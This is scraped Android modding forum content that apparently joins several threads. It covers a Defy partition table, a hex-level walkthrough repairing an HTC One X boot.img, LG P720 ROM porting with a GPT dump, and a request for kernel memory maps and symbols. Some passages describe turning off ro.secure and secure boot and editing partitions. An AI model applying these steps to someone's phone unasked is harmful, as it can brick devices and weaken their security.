/dev/block/mmcblk1p6 21 24 512 83 Linux
/dev/block/mmcblk1p7 25 56 4096 83 Linux
/dev/block/mmcblk1p8 57 60 512 83 Linux
/dev/block/mmcblk1p9 61 64 512 83 Linux
/dev/block/mmcblk1p10 65 72 1024 83 Linux
/dev/block/mmcblk1p11 73 88 2048 83 Linux
/dev/block/mmcblk1p12 89 92 512 83 Linux
/dev/block/mmcblk1p13 93 96 512 83 Linux
/dev/block/mmcblk1p14 97 128 4096 83 Linux
/dev/block/mmcblk1p15 129 192 8192 83 Linux
/dev/block/mmcblk1p16 193 256 8192 83 Linux
/dev/block/mmcblk1p17 257 368 14336 83 Linux
/dev/block/mmcblk1p18 369 372 512 83 Linux
/dev/block/mmcblk1p19 373 376 512 83 Linux
/dev/block/mmcblk1p20 377 408 4096 83 Linux
/dev/block/mmcblk1p21 409 3024 334848 83 Linux
/dev/block/mmcblk1p22 3025 3028 512 83 Linux
/dev/block/mmcblk1p23 3029 3032 512 83 Linux
/dev/block/mmcblk1p24 3033 4632 204800 83 Linux
/dev/block/mmcblk1p25 4633 122496 15086592 83 Linux
Original Partition-Table(Expert-Mode):
Code:
Disk /dev/block/mmcblk1: 16 heads, 16 sectors, 14944 cylinders
Nr AF Hd Sec Cyl Hd Sec Cyl Start Size ID
1 80 0 1 1 15 16 1 256 256 83
2 00 0 1 4 15 16 7 1024 1024 83
3 00 0 1 8 15 16 11 2048 1024 83
4 00 0 1 12 15 16 639 3072 31355904 05
5 00 0 1 4 15 16 7 1024 1024 83
6 00 15 16 7 15 15 11 2047 1024 83
7 00 15 15 11 15 14 43 3070 8192 83
8 00 15 14 43 15 13 47 11261 1024 83
9 00 15 13 47 15 12 51 12284 1024 83
10 00 15 12 51 15 11 59 13307 2048 83
11 00 15 11 59 15 10 75 15354 4096 83
12 00 15 10 75 15 9 79 19449 1024 83
13 00 15 9 79 15 8 83 20472 1024 83
14 00 15 8 83 15 7 115 21495 8192 83
15 00 15 7 115 15 6 179 29686 16384 83
16 00 15 6 179 15 5 243 46069 16384 83
17 00 15 5 243 15 4 355 62452 28672 83
18 00 15 4 355 15 3 359 91123 1024 83
19 00 15 3 359 15 2 363 92146 1024 83
20 00 15 2 363 15 1 395 93169 8192 83
21 00 15 1 395 14 16 963 101360 669696 83
22 00 14 16 963 14 15 967 771055 1024 83
23 00 14 15 967 14 14 971 772078 1024 83
24 00 14 14 971 14 13 523 773101 409600 83
25 00 14 13 523 14 12 627 1182700 30173184 83
And I think there is an signature in the table, because a little thing like changing system-id will brick the phone. but if I write back the table without changes that's no problem.
Excuse me... but why this thread under "dev section"?
I don't want to be annoying (like others i know), but this wouldn't be at General Section?
espaciosalter20 said:
Excuse me... but why this thread under "dev section"?
I don't want to be annoying (like others i know), but this wouldn't be at General Section?
Click to expand...
Click to collapse
LOL, this is developement of course.
@m11kkaa: I seriously think that u shud not go ahead with this project. This thing is really dangerous and we all want ur device to be alive.
two points:
1) you don't have todo everything which is possible (I read over the word "your", thanx anyway )
2) I have the theory that the partition-table is completely ignored by the bootloader and that he uses his own hardcoded table.
BTW, I should let repair my Defy as long as it's under warranty because the ear-piece is dead since months...
Abstract
This tutorial will debug a corrupted boot.img and is an answer to a question/request.
Background
I took the time to look at a corrupted boot.img, posted on the HTC One X forum [1].
Since the Android boot image structure is general for all devices,
I thought this could be of some help for all of you who is trying to find out why your boot.img doesn't work.
ehsanmp said:
Hi all,
I've been trying to edit a stock boot.img's ramdisk so that I can get proper rw access in USB debugging.
I've successfully
1. unpacked the img.
2. edited the default.prop file to ro.secure=0 and all other variables to 1
3. repacked the ramdisk
But I still can't repack the ramdisk and kernel into the new boot.img!
I've tried using the android kitchen, repack-bootimg.pl and mkbootimg, both in cygwin and a virtual machine running Ubuntu 12.04.
everytime mkbootimg gives an error, either "permission denied" or "no such file or directory"
I'm gonna attach the kernel gz and the edited and compiled ramdisk gz, as well as the boot.img (just in case).
Could someone please repack them into a new boot.img for me?
Many thanks!HelpingEhsan.rar
Click to expand...
Click to collapse
Downloading, hashing, and unpacking the helpingehsan.rar file.
The MD5 hash sum of the original rar-file is of course not necessary...
Code:
[email protected]:~$ [email protected]:~$ mkdir helpingehsan; cd helpingehsan; wget https://dl.dropbox.com/s/72wgogz9ll62s0w/ helpingehsan.rar?dl=1 -O helpingehsan.rar; md5sum helpingehsan.rar; rar x helpingehsan.rar; ls -la
--2012-09-16 21:46:06-- https://dl.dropbox.com/s/72wgogz9ll62s0w/helpingehsan.rar?dl=1
Resolving dl.dropbox.com (dl.dropbox.com)... 23.23.133.20, 50.19.106.181, 107.20.134.222, ...
Connecting to dl.dropbox.com (dl.dropbox.com)|23.23.133.20|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 17250294 (16M) [application/rar]
Saving to: 'helpingehsan.rar'
100%[=====================================================>] 17,250,294 1.01MB/s in 21s
2012-09-16 21:46:29 (807 KB/s) - 'helpingehsan.rar' saved [17250294/17250294]
ea9840823ad5cf2b865a4eb5be86eb5d helpingehsan.rar
RAR 4.20 Copyright (c) 1993-2012 Alexander Roshal 9 Jun 2012
Trial version Type RAR -? for help
Extracting from helpingehsan.rar
Extracting boot.img OK
Extracting boot.img-kernel.gz OK
Extracting ramdisk.cpio.gz OK
All OK
total 37636
drwxr-xr-x 2 j users 4096 Sep 16 21:46 ./
drwx--x--x 34 j users 4096 Sep 16 21:46 ../
-rw-r--r-- 1 j users 8388608 Sep 1 22:42 boot.img
-rw-r--r-- 1 j users 4104448 Sep 2 08:48 boot.img-kernel.gz
-rw-r--r-- 1 j users 17250294 Sep 16 21:46 helpingehsan.rar
-rw-r--r-- 1 j users 8781519 Sep 2 08:51 ramdisk.cpio.gz
Initial preview
At a first look, the boot.img looks suspicioucly big for being a boot image.
The ramdisk.cpio.gz is also even greater than the boot.img, while the compressed kernel seems to have a realistic size.
Dumping the boot.img start with a hex editor reveals that the real header seems to start at offset 0x100 (256 bytes) and
the initial data seems to be irrelevant junk.
Code:
[email protected]:~/helpingehsan$ ls -la boot.img; hexdump -C -n 2048 boot.img
-rw-r--r-- 1 j users 8388608 Sep 1 22:42 boot.img
00000000 51 16 28 f1 d1 b4 ae 77 fa 56 1f 79 49 ef cf a3 |Q.(ñÑ´®wúV.yIïÏ£|
00000010 92 4e ef 25 61 15 6f fe 80 9a b3 16 05 dd b8 87 |.Nï%a.oþ..³..ݸ.|
00000020 88 d5 1c b1 5d fa 45 1a b4 2a b4 20 d7 e8 e3 84 |.Õ.±]úE.´*´ ×èã.|
00000030 62 a6 41 eb 83 3c 35 77 e3 44 31 6c 34 73 8a 57 |b¦Aë.<5wãD1l4s.W|
00000040 3d ba c0 dc 74 fe 5a 9d bd a1 da bd 20 f6 16 89 |=ºÀÜtþZ.½¡Ú½ ö..|
00000050 d4 ef 97 50 e5 46 f0 fc c5 07 af 13 14 b4 35 de |Ôï.PåFðüÅ.¯..´5Þ|
00000060 4f c8 c1 bd dc 05 67 95 85 76 70 63 88 eb 15 ea |OÈÁ½Ü.g..vpc.ë.ê|
00000070 7d da ac ad 6d c7 44 78 73 d3 8d 1b 37 ad cc 73 |}Ú¬*mÇDxsÓ..7*Ìs|
00000080 d5 a5 d6 e9 6d 0c 05 0a 64 49 d6 65 b3 98 f4 67 |Õ¥Öém...dIÖe³.ôg|
00000090 9c e1 90 64 c6 92 75 dc 55 fd da e5 c3 3c 35 d0 |.á.dÆ.uÜUýÚåÃ<5Ð|
000000a0 e5 7a 92 d5 e8 5f 65 8f f7 77 69 11 72 a6 f8 82 |åz.Õè_e.÷wi.r¦ø.|
000000b0 ee ad cc ad 2a 62 55 11 89 eb 4d dd 74 f2 f1 5b |î*Ì**bU..ëMÝtòñ[|
000000c0 ee 93 05 fe 94 b4 d8 28 09 2c 9b d1 3a d8 1e 60 |î..þ.´Ø(.,.Ñ:Ø.`|
000000d0 89 52 9e f9 3f ea af b5 c0 d0 b6 60 51 ba b6 ab |.R.ù?꯵Àж`Qº¶«|
000000e0 41 ab ab 1b e0 06 a3 ca bb 37 6f aa eb b6 6f c3 |A««.à.£Ê»7oªë¶oÃ|
000000f0 26 fa 28 f7 48 55 10 83 42 4e 02 37 9f be 5f d7 |&ú(÷HU..BN.7.¾_×|
00000100 41 4e 44 52 4f 49 44 21 b0 9b 3e 00 00 80 00 10 |ANDROID!°.>.....|
00000110 7c 8a 04 00 00 00 00 11 00 00 00 00 00 00 f0 10 ||.............ð.|
00000120 00 01 00 10 00 08 00 00 00 00 00 00 00 00 00 00 |................|
00000130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00000340 bf f4 50 e5 45 4b 2d 1b 13 40 2a be 0d fe 25 2e |¿ôPå[email protected]*¾.þ%.|
00000350 2b ef b4 07 00 00 00 00 00 00 00 00 00 00 00 00 |+ï´.............|
00000360 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00000800
Kernel image analysis
Next up to be analysed is the compressed kernel image, a zImage file.
Also in this case, the image starts at offset 0x100.
The first 256 bytes are zeros and should be chopped off to work as a kernel image.
Code:
[email protected]:~/helpingehsan$ hexdump -C -n 512 boot.img-kernel.gz
00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00000100 00 00 a0 e1 00 00 a0 e1 00 00 a0 e1 00 00 a0 e1 |..*á..*á..*á..*á|
*
00000120 02 00 00 ea 18 28 6f 01 00 00 00 00 b0 9b 3e 00 |...ê.(o.....°.>.|
00000130 01 70 a0 e1 02 80 a0 e1 00 20 0f e1 03 00 12 e3 |.p*á..*á. .á...ã|
00000140 01 00 00 1a 17 00 a0 e3 56 34 12 ef 00 20 0f e1 |......*ãV4.ï. .á|
00000150 c0 20 82 e3 02 f0 21 e1 00 00 00 00 00 00 00 00 |À .ã.ð!á........|
00000160 44 47 9f e5 45 00 00 eb ec 00 8f e2 4e 1a 90 e8 |DG.åE..ëì..âN..è|
00000170 1c d0 90 e5 01 00 40 e0 00 60 86 e0 00 d0 8d e0 |.Ð.å[email protected]à.`.à.Ð.à|
00000180 01 a8 8d e2 01 a9 8a e2 0a 00 54 e1 15 00 00 2a |.¨.â.©.â..Tá...*|
00000190 09 a0 84 e0 0f 00 5a e1 12 00 00 9a 02 ab 8a e2 |.*.à..Zá.....«.â|
000001a0 ff a0 ca e3 44 50 4f e2 1f 50 c5 e3 05 90 46 e0 |ÿ*ÊãDPOâ.PÅã..Fà|
000001b0 1f 90 89 e2 1f 90 c9 e3 05 60 89 e0 0a 90 89 e0 |...â..Éã.`.à...à|
000001c0 0f 5c 36 e9 05 00 56 e1 0f 5c 29 e9 fb ff ff 8a |.\6é..Vá.\)éûÿÿ.|
000001d0 06 60 49 e0 06 d0 8d e0 48 01 00 eb 7c 00 4f e2 |.`Ià.Ð.àH..ë|.Oâ|
000001e0 06 00 80 e0 00 f0 a0 e1 00 00 30 e3 08 00 00 0a |...à.ð*á..0ã....|
000001f0 00 b0 8b e0 00 c0 8c e0 00 20 82 e0 00 30 83 e0 |.°.à.À.à. .à.0.à|
00000200
Ramdisk image analysis
The last file is the gnuzipped ramdisk. A quick analysis of its header indicates that it seems to be fine.
The first two bytes (1f 8b) gives a hint of a gzip file [3].
Code:
[email protected]:~/helpingehsan$ hexdump -C -n 32 ramdisk.cpio.gz
00000000 1f 8b 08 00 7a 80 43 50 00 03 bc 3c 6b 6f db b8 |....z.CP..¼<koÛ¸|
00000010 b2 fb b5 f9 15 44 83 7b ef 2e ce ca b2 9d a4 e9 |²ûµù.D.{ï.Îʲ.¤é|
00000020
An unpack of the huge ramdisk is necessary to better get an idea of its content.
Code:
[email protected]:~/helpingehsan$ mkdir ramdisk; cd ramdisk; gunzip -c ../ramdisk.cpio.gz | cpio -i; ls -al
25487 blocks
total 12272
drwxr-xr-x 3 j users 4096 Sep 16 22:11 ./
drwxr-xr-x 3 j users 4096 Sep 16 22:11 ../
-rwxrwxrwx 1 j users 8388608 Sep 16 22:11 boot.img*
-rw-rw-r-- 1 j users 4104448 Sep 16 22:11 boot.img-kernel.gz
drwxrwxr-x 8 j users 4096 Sep 16 22:11 boot.img-ramdisk/
-rwxrwxrwx 1 j users 24302 Sep 16 22:11 mkbootfs*
-rwxrwxrwx 1 j users 23798 Sep 16 22:11 mkbootimg*
-rwxrwxrwx 1 j users 901 Sep 16 22:11 repack-bootimg.pl*
-rwxrwxrwx 1 j users 1710 Sep 16 22:11 unpack-bootimg.pl*
No wonder why the size!
The ramdisk contains even more you could wish for - and an incorrect directory structure.
By hashing the boot.img and the boot.img-kernel.gz in the compressed ramdisk
and comparing them with the included images in the helpingehsan.rar
will tell if those files are identical - which seems to be the case.
The only conlusion to make is that something went wrong.
Code:
[email protected]:~/helpingehsan/ramdisk$ md5sum ../boot.img boot.img ../boot.img-kernel.gz boot.img-kernel.gz
00aec167963e7d5df4b3fc9661439fa3 ../boot.img
00aec167963e7d5df4b3fc9661439fa3 boot.img
f5adbe66ef11e0d6a3cea6f0d04ec798 ../boot.img-kernel.gz
f5adbe66ef11e0d6a3cea6f0d04ec798 boot.img-kernel.gz
We also need to get a picture of the boot.img-ramdisk directory. How big is it? What does it contain?
Code:
[email protected]:~/helpingehsan/ramdisk$ du -b boot.img-ramdisk/
322935 boot.img-ramdisk/sbin
4096 boot.img-ramdisk/system
4096 boot.img-ramdisk/data
4096 boot.img-ramdisk/sys
4096 boot.img-ramdisk/proc
4096 boot.img-ramdisk/dev
529719 boot.img-ramdisk/
Code:
[email protected]:~/helpingehsan/ramdisk$ du -b boot.img-ramdisk; ls -la boot.img-ramdisk
322935 boot.img-ramdisk/sbin
4096 boot.img-ramdisk/system
4096 boot.img-ramdisk/data
4096 boot.img-ramdisk/sys
4096 boot.img-ramdisk/proc
4096 boot.img-ramdisk/dev
529719 boot.img-ramdisk
total 244
drwxrwxr-x 8 j users 4096 Sep 16 22:11 ./
drwxr-xr-x 3 j users 4096 Sep 16 22:11 ../
-rw-r--r-- 1 j users 1395 Sep 16 22:11 cwkeys
drwxrwx--x 2 j users 4096 Sep 16 22:11 data/
-rw-r--r-- 1 j users 118 Sep 16 22:11 default.prop
-rw-r--r-- 1 j users 118 Sep 16 22:11 default.prop~
drwxr-xr-x 2 j users 4096 Sep 16 22:11 dev/
-rwxr-x--- 1 j users 111468 Sep 16 22:11 init*
-rwxr-x--- 1 j users 14390 Sep 16 22:11 init.endeavoru.common.rc*
-rwxr-x--- 1 j users 18122 Sep 16 22:11 init.endeavoru.rc*
-rwxr-x--- 1 j users 2344 Sep 16 22:11 init.goldfish.rc*
-rwxr-x--- 1 j users 22319 Sep 16 22:11 init.rc*
-rwxr-x--- 1 j users 6140 Sep 16 22:11 init.usb.rc*
drwxr-xr-x 2 j users 4096 Sep 16 22:11 proc/
drwxr-x--- 2 j users 4096 Sep 16 22:11 sbin/
drwxr-xr-x 2 j users 4096 Sep 16 22:11 sys/
drwxr-xr-x 2 j users 4096 Sep 16 22:11 system/
-rw-r--r-- 1 j users 1417 Sep 16 22:11 ueventd.endeavoru.rc
-rw-r--r-- 1 j users 272 Sep 16 22:11 ueventd.goldfish.rc
-rw-r--r-- 1 j users 4105 Sep 16 22:11 ueventd.rc
Identification of the kernel base address
The kernel base address = (hdr.kernel_addr - 0x00008000) [2].
We can from the boot.img see that the hdr.kernel_addr is set to the value 0x10008000.
This results in the base address 0x10000000.
Code:
[email protected]:~/helpingehsan/ramdisk$ hexdump -C -n 16 -s 256 boot.img
00000100 41 4e 44 52 4f 49 44 21 b0 9b 3e 00 00 80 00 10 |ANDROID!°.>.....|
00000110
Recompilation of the ramdisk
A recompilation into a new ramdisk (boot.img-ramdisk.cpio.gz) is the carried out [4],
even if we do not know if it works properly. It's all depending on the source.
Code:
[email protected]:~/helpingehsan/ramdisk$ cd boot.img-ramdisk; find . | cpio -o -H newc | gzip > ../boot.img-ramdisk.cpio.gz; cd ..; ls -la
985 blocks
total 12564
drwxr-xr-x 3 j users 4096 Sep 16 23:44 ./
drwxr-xr-x 4 j users 4096 Sep 16 22:57 ../
-rwxrwxrwx 1 j users 8388608 Sep 16 22:11 boot.img*
-rw-rw-r-- 1 j users 4104448 Sep 16 22:11 boot.img-kernel.gz
drwxrwxr-x 8 j users 4096 Sep 16 22:11 boot.img-ramdisk/
-rw-r--r-- 1 j users 297162 Sep 16 23:44 boot.img-ramdisk.cpio.gz
-rwxrwxrwx 1 j users 24302 Sep 16 22:11 mkbootfs*
-rwxrwxrwx 1 j users 23798 Sep 16 22:11 mkbootimg*
-rwxrwxrwx 1 j users 901 Sep 16 22:11 repack-bootimg.pl*
-rwxrwxrwx 1 j users 1710 Sep 16 22:11 unpack-bootimg.pl*
Removal of the initial 256 zeros from the boot.img-kernel.gz
Code:
[email protected]:~/helpingehsan/ramdisk$ dd if=boot.img-kernel.gz of=boot.img-kernel.gz.new skip=256 iflag=skip_bytes
8016+0 records in
8016+0 records out
4104192 bytes (4.1 MB) copied, 0.03337 s, 123 MB/s
Creating a new boot.img
Remeber: the original boot.img header did not have a kernel command line.
Code:
[email protected]:~/helpingehsan/ramdisk$ mkbootimg --kernel boot.img-kernel.gz.new --ramdisk boot.img-ramdisk.cpio.gz --base 0x10000000 -o boot.img
[email protected]:~/helpingehsan/ramdisk$ ls -la boot.img; md5sum boot.img
-rwxrwxrwx 1 j users 4405248 Sep 16 23:58 boot.img*
dba17088ff533adec1fb5a92478fafe2 boot.img
Summary
With knowledge in the boot.img structure, some experience in using a hex editor
(my personal favourite is the KDE Okteta) and DIY-mentality, I think you could solve most of such problems.
I have no idea if theresulting boot.img will work, the content is based on the files that was found in the original tar-file.
Here is a copy of the original file in case the original file was deleted
The resulting boot.img is there too.
For those who wonders about the analysis environment: Linux (here: Slackware 13.37 / current).
Take care and good luck!
References:
[1] [HELP] Can anyone help me recompile this boot.img?, Sept 2012
[2] mkbootimg.c, bootimg.h by The Android Open Source Project, 2007
[3] GZIP file format specification version 4.3, RFC 1952, chapter 2.3.1., L. Peter Deutsch, 1996
[4] HOWTO: Unpack, Edit, and Re-Pack Boot Images, Android-DLS, 2012
Lollipops are on me!
This is Absolutely Glorious
Nice guide. Amazing for those new to building ROMs, and a good read for those who are experieced
Sent from my HTC One XL using XDA Premium 4 mobile app
My moto e boot corrupted
Means hardbrick
Now it is not starting not even.going to fastboot mode
Plz help me to install official bootloader
HELLO ALL
i need to know to port ics rom to lg 3d max p720
zak53 said:
HELLO ALL
i need to know to port ics rom to lg 3d max p720
Click to expand...
Click to collapse
Don't have P720 but i think you would nee the following:
A SU870 User on ICS to Get the Following
system.img
boot.img
Resizing of System Partition to Match SU870 - Bernies THread
Wkparks Bootloader 1.25 for P720
Edit boot.img to symlink things such as /log to /data/misc since on ICS this are actual partition used for sensor data etc so you would symlink them to data partition so this paths exist even without the actual partitions.
you would need lge-ril.so from P920/L9/P940 as well as telephonyprovider / lgmms from P920.
Then
Either Install VIA CWM / Fastboot Flash
package extract to sys partition
fastboot flash system system.img
it should boot
then ask a kernel dev to compile a 4 key Kernel.
defcomg said:
Don't have P720 but i think you would nee the following:
A SU870 User on ICS to Get the Following
system.img
boot.img
Resizing of System Partition to Match SU870 - Bernies THread
Wkparks Bootloader 1.25 for P720
Edit boot.img to symlink things such as /log to /data/misc since on ICS this are actual partition used for sensor data etc so you would symlink them to data partition so this paths exist even without the actual partitions.
you would need lge-ril.so from P920/L9/P940 as well as telephonyprovider / lgmms from P920.
Then
Either Install VIA CWM / Fastboot Flash
package extract to sys partition
fastboot flash system system.img
it should boot
then ask a kernel dev to compile a 4 key Kernel.
Click to expand...
Click to collapse
Wow ,, it was so easy to say .
It was a very useful informations .
However , as far as I know , the P720 can boot with SU870 but with disabled secure boot (it's so easy , just change 1 to 0 , lol ) .
Someone has successfully boot it but without network .
@zak , here is the link :-
http://forum.xda-developers.com/showthread.php?t=1891573
Sent from my LG-P880 using xda app-developers app
OS_Hacking said:
Wow ,, it was so easy to say .
It was a very useful informations .
However , as far as I know , the P720 can boot with SU870 but with disabled secure boot (it's so easy , just change 1 to 0 , lol ) .
Someone has successfully boot it but without network .
Sent from my LG-P880 using xda app-developers app
Click to expand...
Click to collapse
yeah but i think some of those partition are needed by ics so it will not work correctly
in framework com/android/telephony you may wanna replace that with the one from P920 might bring the network to life he also had issue with missing files but there where just not symlinked correctly a quicker way would be to use miui patchrom script to extract the files symlinks certs and Generate Flashable Zip and mod boot.img
defcomg said:
yeah but i think some of those partition are needed by ics so it will not work correctly
in framework com/android/telephony you may wanna replace that with the one from P920 might bring the network to life he also had issue with missing files but there where just not symlinked correctly a quicker way would be to use miui patchrom script to extract the files symlinks certs and Generate Flashable Zip and mod boot.img
Click to expand...
Click to collapse
Hmm ... now I have understood why .
Thanks very much for the info , really helps .
By the way ,,
why don't you apply for Recognized Developer ?? You deserve it .
Sent from my LG-P880 using xda app-developers app
OS_Hacking said:
Hmm ... now I have understood why the project has been closed .
Thanks very much for the info , really helps .
By the way ,,
why don't you apply for Recognized Developer ?? You deserve it .
Sent from my LG-P880 using xda app-developers app
Click to expand...
Click to collapse
lol nah it's cool don't do it for the title do it because its fUn LoL:silly:
defcomg said:
lol nah it's cool don't do it for the title do it because its fUn LoL:silly:
Click to expand...
Click to collapse
Wow , you say this "fun" .
I spend hours every day learning these stuff , and fighting to get books to learn c/c++ .
And you say it's fun .
You really deserve to be Recognized Developer ... you won't lose anything .
Pandaball is a Recognized Developer while you are much better than him .
Sent from my LG-P880 using xda app-developers app
U deserve it defcomg
sent from my lg-p920 powered with xbsall's finest work
THANX ALL
But why the developers don't make a custom rom based on ICS for P720
zak53 said:
THANX ALL
But why the developers don't make a costum rom based on ICS for P720
Click to expand...
Click to collapse
most if not all have no P720 just the OG P92x
thanx for repl
can you show me how to port the rom
zak53 said:
thanx for repl
can you show me how to port the rom
Click to expand...
Click to collapse
I can help with it, I have a P720h that I almost bricked because I don´t know what I was doing, and now I am learning a LOT of things reading every topic of this forum.
Now I am almost extracting the .img files inside the .bin image, I can see the partitions but not extract them. See below:
Is there a way to extract with another tool ? I am extracting to use fastboot to write them to the cellphone, is this right ?
Code:
GPT HEADER
----------
Signature 45 46 49 20 50 41 52 54
Revision 65536
Header Size 92
CRC32 of Header 56 6F 11 15
Current Header LBA 1
Backup Header LBA 15532031
First Usable LBA 34
Last Usable LBA 15531998
Disk GUID 86 28 17 26 61 B8 8E 4B 9E 95 0E A5 B7 E9 50 D9
Start of Partition Entries 2
Number of Partition Entries 128
Size of Partition Entries 128
CRC32 of Partition Array 24 2A D7 89
PARTITION ENTRIES
-----------------
PARTITION ENTRY
---------------
Partition Type GUID A2 A0 D0 EB E5 B9 33 44 87 C0 68 B6 B7 26 99 C7
Unique Partition GUID 4B 41 3F FD 9B C3 E3 41 BD 39 00 4F FB 1D 67 FF
First LBA 256
Last LBA 1023
Attributes 0
Partition Name x-loader
PARTITION ENTRY
---------------
Partition Type GUID A2 A0 D0 EB E5 B9 33 44 87 C0 68 B6 B7 26 99 C7
Unique Partition GUID 8C 9A FF DE B8 F3 85 44 86 3E 9F B0 69 8A EF A9
First LBA 1024
Last LBA 3071
Attributes 0
Partition Name u-boot
PARTITION ENTRY
---------------
Partition Type GUID A2 A0 D0 EB E5 B9 33 44 87 C0 68 B6 B7 26 99 C7
Unique Partition GUID EA 3F 19 DE 3A E9 1F 4D 85 36 73 7B 46 CA 62 4F
First LBA 3072
Last LBA 33791
Attributes 0
Partition Name kernel
PARTITION ENTRY
---------------
Partition Type GUID A2 A0 D0 EB E5 B9 33 44 87 C0 68 B6 B7 26 99 C7
Unique Partition GUID 5C 83 26 18 C9 09 6C 4B B8 B1 37 1D E5 25 C2 68
First LBA 33792
Last LBA 34303
Attributes 0
Partition Name nv1
PARTITION ENTRY
---------------
Partition Type GUID A2 A0 D0 EB E5 B9 33 44 87 C0 68 B6 B7 26 99 C7
Unique Partition GUID D1 DC D0 65 B6 9A 30 48 A4 C6 F5 4E 6C 8A 4C 87
First LBA 34304
Last LBA 34815
Attributes 0
Partition Name nv2
PARTITION ENTRY
---------------
Partition Type GUID A2 A0 D0 EB E5 B9 33 44 87 C0 68 B6 B7 26 99 C7
Unique Partition GUID FC 4E AD CD 5F 4E 93 40 84 52 B3 94 3B 74 F7 86
First LBA 34816
Last LBA 65535
Attributes 0
Partition Name recovery
PARTITION ENTRY
---------------
Partition Type GUID A2 A0 D0 EB E5 B9 33 44 87 C0 68 B6 B7 26 99 C7
Unique Partition GUID B8 81 ED 65 BA 1B B4 49 BA C5 60 AC 2E FF 2F E4
First LBA 65536
Last LBA 1819135
Attributes 0
Partition Name system
PARTITION ENTRY
---------------
Partition Type GUID A2 A0 D0 EB E5 B9 33 44 87 C0 68 B6 B7 26 99 C7
Unique Partition GUID B0 CA 40 8A 48 B7 54 46 84 70 D9 71 1D CA 76 0B
First LBA 1819136
Last LBA 3916287
Attributes 0
Partition Name userdata
PARTITION ENTRY
---------------
Partition Type GUID A2 A0 D0 EB E5 B9 33 44 87 C0 68 B6 B7 26 99 C7
Unique Partition GUID 30 79 05 67 A4 01 99 42 87 BF AE C0 4C 84 1D 15
First LBA 3916288
Last LBA 3957247
Attributes 0
Partition Name fota
PARTITION ENTRY
---------------
Partition Type GUID A2 A0 D0 EB E5 B9 33 44 87 C0 68 B6 B7 26 99 C7
Unique Partition GUID 0F 80 3F 2D CC 15 39 46 A3 BD BC C2 D2 F2 07 D5
First LBA 3957248
Last LBA 4264447
Attributes 0
Partition Name cache
PARTITION ENTRY
---------------
Partition Type GUID A2 A0 D0 EB E5 B9 33 44 87 C0 68 B6 B7 26 99 C7
Unique Partition GUID 96 8F 94 D7 1C D9 B2 40 95 7F 43 A5 62 99 41 7F
First LBA 4264448
Last LBA 4268543
Attributes 0
Partition Name lgdrm
PARTITION ENTRY
---------------
Partition Type GUID A2 A0 D0 EB E5 B9 33 44 87 C0 68 B6 B7 26 99 C7
Unique Partition GUID 00 CB 92 C9 B4 56 A6 42 A9 4D FA 18 5B F7 73 CC
First LBA 4268544
Last LBA 4276735
Attributes 0
Partition Name misc
PARTITION ENTRY
---------------
Partition Type GUID A2 A0 D0 EB E5 B9 33 44 87 C0 68 B6 B7 26 99 C7
Unique Partition GUID BF ED 9F 84 3E 64 C6 46 94 DE 7D 83 F6 29 A4 4C
First LBA 4276736
Last LBA 4538879
Attributes 0
Partition Name fsswap
PARTITION ENTRY
---------------
Partition Type GUID A2 A0 D0 EB E5 B9 33 44 87 C0 68 B6 B7 26 99 C7
Unique Partition GUID E6 1D AC A3 04 97 2B 4E 8E F1 7A 72 B7 CE E2 30
First LBA 4538880
Last LBA 4540927
Attributes 0
Partition Name divxkey
PARTITION ENTRY
---------------
Partition Type GUID A2 A0 D0 EB E5 B9 33 44 87 C0 68 B6 B7 26 99 C7
Unique Partition GUID 4C 67 48 AD 81 E2 D5 4E 8E 04 78 45 EA 90 B5 71
First LBA 4540928
Last LBA 15458303
Attributes 0
Partition Name fat
PARTITION ENTRY
---------------
Partition Type GUID A2 A0 D0 EB E5 B9 33 44 87 C0 68 B6 B7 26 99 C7
Unique Partition GUID BC D4 86 18 CF 73 D6 4E 81 0E 56 32 16 A3 82 E6
First LBA 15458304
Last LBA 15473663
Attributes 0
Partition Name persist
PARTITION ENTRY
---------------
Partition Type GUID A2 A0 D0 EB E5 B9 33 44 87 C0 68 B6 B7 26 99 C7
Unique Partition GUID 46 C5 FF 07 D8 FE 0F 45 8A A2 7F 9B FB 6C 38 6E
First LBA 15473664
Last LBA 15506431
Attributes 0
Partition Name mlt
PARTITION ENTRY
---------------
Partition Type GUID A2 A0 D0 EB E5 B9 33 44 87 C0 68 B6 B7 26 99 C7
Unique Partition GUID F3 FD D0 22 6E E4 FA 45 9C AD 90 74 F1 24 12 E5
First LBA 15506432
Last LBA 15510527
Attributes 0
Partition Name drm
PARTITION ENTRY
---------------
Partition Type GUID A2 A0 D0 EB E5 B9 33 44 87 C0 68 B6 B7 26 99 C7
Unique Partition GUID 28 B1 4B 0A 94 F0 47 4B 91 4B 87 71 B4 79 4B 51
First LBA 15510528
Last LBA 15531007
Attributes 0
Partition Name logdata
i have an idea.
do same with p720 kdz what you did with the su870 kdz..
and try to change the partition from p720 with su870
only the partitions that do not match...
like data partition and few more.
if you can do that you can flash it successfully...
and by the way i guess i have all other partitions in .img format except system.img
Sent from my LG-P725 using xda app-developers app
Hi, need next few things:
1. "cat /proc/iomem"
2. "cat /proc/atags" (if exist)
3. "ls /proc"
4. "echo 1 > /proc/sys/kernel/kptr_restrict" than give me output of the command "cat /proc/kallsyms"
3. link to the stockrom kernel source code
Give me these things, I will start development! Thanks!
1. "cat /proc/iomem"
Code:
cat /proc/iomem
00000000-05cfffff : System RAM
00008000-00dcc267 : Kernel code
00f2a000-01258813 : Kernel data
0ff00000-788fffff : System RAM
7ff00000-7ff3ffff : rdtags_mem
7ff80000-7ffa0fff : last_kmsg
7ffa1000-7ffa5fff : last_amsslog
f920c100-f92fbfff : f9200000.dwc3
f9824900-f9824a1b : mmc0
f98a4900-f98a4a1b : mmc1
f991e000-f991efff : msm_serial_hsl
f9924000-f9924fff : f9924000.i2c
f9926000-f9926fff : f9926000.i2c
f9928000-f9928fff : f9928000.i2c
f9967000-f9967fff : f9967000.i2c
fb21b000-fb21dfff : pmu_base
fc380000-fc3e9fff : fc380000.msm-bimc
fc401680-fc401683 : restart_reg
fc4016c0-fc4016c3 : restart_reg
fc401700-fc401703 : clk_base
fc4281d0-fc4291cf : vmpm
fc460000-fc463fff : fc460000.msm-sys-noc
fc468000-fc46bfff : fc468000.msm-periph-noc
fc470000-fc473fff : fc470000.msm-ocmem-noc
fc478000-fc47bfff : fc478000.msm-mmss-noc
fc480000-fc483fff : fc480000.msm-config-noc
